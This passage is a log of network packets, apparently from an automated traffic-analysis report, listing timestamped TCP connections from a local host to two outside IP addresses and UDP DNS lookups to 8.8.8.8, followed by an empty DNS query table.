Aug 31, 2022 14:30:48.730180025 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.730214119 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.730242014 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.730257988 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.730376005 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.730422974 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.730968952 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.730978966 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.731000900 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.731091022 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.731106043 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.732076883 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.732086897 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.732110977 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.732129097 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.732215881 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.732258081 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.733010054 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.733017921 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.733042955 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.733130932 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.733154058 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.733565092 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.733578920 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.733603954 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.733716011 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.734607935 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.735023975 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.737504959 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.737534046 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:48.737546921 CEST	49816	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:48.737559080 CEST	443	49816	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.062428951 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.062469959 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.062594891 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.063329935 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.063340902 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.109893084 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.110059977 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.937251091 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.937295914 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.937544107 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.940296888 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.965886116 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.965936899 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.965966940 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.965998888 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966031075 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966051102 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966061115 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966068029 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966072083 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966114044 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966114044 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966160059 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966182947 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966200113 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966242075 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966250896 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966262102 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966299057 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966312885 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966321945 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966356993 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966361046 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966371059 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966404915 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966418982 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966429949 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966459990 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966470957 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966480970 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966519117 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966531992 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966845036 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966872931 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966891050 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966901064 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966929913 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966937065 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966947079 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966974020 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.966984987 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.966996908 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967024088 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967039108 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967048883 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967083931 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967098951 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967108965 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967138052 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967152119 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967161894 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967199087 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967309952 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967366934 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967391968 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967401981 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967411995 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967437029 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967451096 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967459917 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967490911 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967498064 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967506886 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967520952 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967547894 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.967556000 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.967566967 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.983195066 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.983283043 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.983316898 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.983319998 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.983371973 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.983388901 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.983400106 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:51.983454943 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:51.983510971 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:52.616502047 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:30:52.616703033 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:30:52.682200909 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:52.685969114 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:52.686007977 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:30:52.686067104 CEST	49817	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:30:52.686079025 CEST	443	49817	104.21.40.196	192.168.2.4
Aug 31, 2022 14:31:05.642328978 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:31:05.642517090 CEST	49785	80	192.168.2.4	186.182.55.44

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2022 14:28:04.276590109 CEST	60686	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:04.604726076 CEST	53	60686	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:12.288501978 CEST	61124	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:12.310751915 CEST	53	61124	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:12.321556091 CEST	59444	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:12.428885937 CEST	53	59444	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:12.446846008 CEST	55570	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:12.748526096 CEST	53	55570	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:12.759671926 CEST	64906	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:12.794074059 CEST	53	64906	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:12.802923918 CEST	59446	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:12.849620104 CEST	53	59446	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:12.858303070 CEST	50861	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:13.191250086 CEST	53	50861	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:17.260394096 CEST	61088	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:17.586203098 CEST	53	61088	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:22.789989948 CEST	58729	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:23.063829899 CEST	53	58729	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:24.375603914 CEST	64700	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:24.393352032 CEST	53	64700	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:30.835664988 CEST	56022	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:31.106060028 CEST	53	56022	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:32.317863941 CEST	60822	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:32.338202953 CEST	53	60822	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:33.544296980 CEST	49750	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:33.568065882 CEST	53	49750	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:37.665652037 CEST	60550	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:37.686990023 CEST	53	60550	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:43.919315100 CEST	54851	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:43.936963081 CEST	53	54851	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:44.789319038 CEST	57300	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:44.807733059 CEST	53	57300	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:44.965657949 CEST	54521	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:44.985269070 CEST	53	54521	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:46.219463110 CEST	58914	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:46.240791082 CEST	53	58914	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:46.707216024 CEST	51419	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:46.731060982 CEST	53	51419	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:47.353985071 CEST	51054	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:47.375775099 CEST	53	51054	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:48.163633108 CEST	55673	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:48.185059071 CEST	53	55673	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:48.853230000 CEST	49735	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:48.871269941 CEST	53	49735	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:50.023022890 CEST	52437	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:50.040925026 CEST	53	52437	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:50.797708035 CEST	52825	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:50.819145918 CEST	53	52825	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:51.476799965 CEST	58530	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:51.576298952 CEST	53	58530	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:52.044946909 CEST	64959	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:52.064301968 CEST	53	64959	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:53.204540968 CEST	63093	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:53.224595070 CEST	53	63093	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:54.649497986 CEST	50433	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:54.946470976 CEST	53	50433	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:56.649763107 CEST	53498	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:56.667330980 CEST	53	53498	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:57.190591097 CEST	61460	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:57.215168953 CEST	53	61460	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:58.067202091 CEST	63001	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:58.091074944 CEST	53	63001	8.8.8.8	192.168.2.4
Aug 31, 2022 14:28:58.742688894 CEST	65133	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:28:58.763814926 CEST	53	65133	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:01.880131960 CEST	60998	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:01.902940035 CEST	53	60998	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:02.423942089 CEST	61733	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:02.441920042 CEST	53	61733	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:02.904901028 CEST	53370	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:02.929290056 CEST	53	53370	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:03.212629080 CEST	63746	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:03.236690998 CEST	53	63746	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:04.207926989 CEST	50622	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:04.231579065 CEST	53	50622	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:04.416116953 CEST	64773	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:04.433671951 CEST	53	64773	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:05.530038118 CEST	59818	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:05.539931059 CEST	49684	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:05.560308933 CEST	53	59818	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:05.575172901 CEST	53	49684	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:06.041954041 CEST	63229	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:06.061856985 CEST	53	63229	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:06.213087082 CEST	58576	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:06.230983973 CEST	53	58576	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:07.068264961 CEST	54044	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:07.087841988 CEST	53	54044	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:07.265393972 CEST	52259	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:07.283108950 CEST	53	52259	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:07.514025927 CEST	53887	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:07.538299084 CEST	53	53887	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:07.724942923 CEST	56218	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:07.742980003 CEST	53	56218	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:07.910516024 CEST	50094	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:07.927989006 CEST	53	50094	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:08.016887903 CEST	51766	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:08.038336039 CEST	53	51766	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:08.264936924 CEST	61522	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:08.284554958 CEST	53	61522	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:08.347785950 CEST	57349	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:08.365431070 CEST	53	57349	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:08.585213900 CEST	53963	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:08.604933023 CEST	53	53963	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:08.863193989 CEST	53622	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:08.886739969 CEST	53	53622	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:09.369344950 CEST	49600	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:09.392581940 CEST	53	49600	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:09.680969000 CEST	58355	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:09.698492050 CEST	53	58355	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:09.844358921 CEST	57601	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:10.156394958 CEST	53	57601	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:10.164985895 CEST	64159	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:10.182820082 CEST	53	64159	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:10.450727940 CEST	59926	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:10.470326900 CEST	53	59926	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:10.753581047 CEST	61709	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:10.771466017 CEST	53	61709	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:12.583493948 CEST	59182	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:12.603334904 CEST	53	59182	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:12.869988918 CEST	61657	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:12.889710903 CEST	53	61657	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:13.113887072 CEST	50012	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:13.131509066 CEST	53	50012	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:13.407284975 CEST	56904	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:13.426997900 CEST	53	56904	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:13.659648895 CEST	51511	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:13.679395914 CEST	53	51511	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:15.768984079 CEST	57889	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:15.789838076 CEST	53	57889	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:15.969746113 CEST	58480	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:15.989272118 CEST	53	58480	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:16.158250093 CEST	57682	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:16.177762032 CEST	53	57682	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:16.639728069 CEST	54075	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:16.658802032 CEST	53	54075	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:16.888216019 CEST	49746	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:16.907586098 CEST	53	49746	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:16.967510939 CEST	61940	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:16.985316992 CEST	53	61940	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:17.235233068 CEST	50065	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:17.254342079 CEST	53	50065	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:17.846187115 CEST	53573	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:17.864150047 CEST	53	53573	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:17.883280993 CEST	60828	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:17.903111935 CEST	53	60828	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:19.217293024 CEST	61470	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:19.237052917 CEST	53	61470	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:19.422750950 CEST	61837	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:19.440732002 CEST	53	61837	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:19.626490116 CEST	59385	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:19.646167040 CEST	53	59385	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:19.859713078 CEST	55704	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:19.879165888 CEST	53	55704	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:24.569143057 CEST	50532	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:24.588773012 CEST	53	50532	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:25.164227962 CEST	50545	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:25.182080984 CEST	53	50545	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:25.539402962 CEST	55285	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:25.559067011 CEST	53	55285	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:25.988481998 CEST	61369	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:26.006109953 CEST	53	61369	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:26.787393093 CEST	65419	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:26.804950953 CEST	53	65419	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:27.567163944 CEST	51320	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:27.586805105 CEST	53	51320	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:28.195739031 CEST	57214	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:28.213385105 CEST	53	57214	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:28.879165888 CEST	62509	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:28.897238016 CEST	53	62509	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:29.865426064 CEST	59892	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:29.885409117 CEST	53	59892	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:31.130192041 CEST	59554	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:31.149539948 CEST	53	59554	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:31.995363951 CEST	59877	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:32.014664888 CEST	53	59877	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:32.870820045 CEST	63970	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:32.889736891 CEST	53	63970	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:33.760837078 CEST	50660	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:33.778192043 CEST	53	50660	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:34.224363089 CEST	55088	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:34.241529942 CEST	53	55088	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:43.640438080 CEST	56804	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:43.660070896 CEST	53	56804	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:50.633183956 CEST	61366	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:50.652793884 CEST	53	61366	8.8.8.8	192.168.2.4
Aug 31, 2022 14:29:58.794414997 CEST	53539	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:29:58.814104080 CEST	53	53539	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:02.404927015 CEST	61876	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:02.425009012 CEST	53	61876	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:05.799845934 CEST	60046	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:05.818798065 CEST	53	60046	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:09.695591927 CEST	65455	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:09.713216066 CEST	53	65455	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:12.378706932 CEST	51140	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:12.396928072 CEST	53	51140	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:14.696775913 CEST	49407	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:14.720110893 CEST	53	49407	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:22.629057884 CEST	51466	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:22.648915052 CEST	53	51466	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:33.373907089 CEST	52977	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:33.391804934 CEST	53	52977	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:43.962348938 CEST	61610	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:43.981362104 CEST	53	61610	8.8.8.8	192.168.2.4
Aug 31, 2022 14:30:50.229444027 CEST	60291	53	192.168.2.4	8.8.8.8
Aug 31, 2022 14:30:50.247392893 CEST	53	60291	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
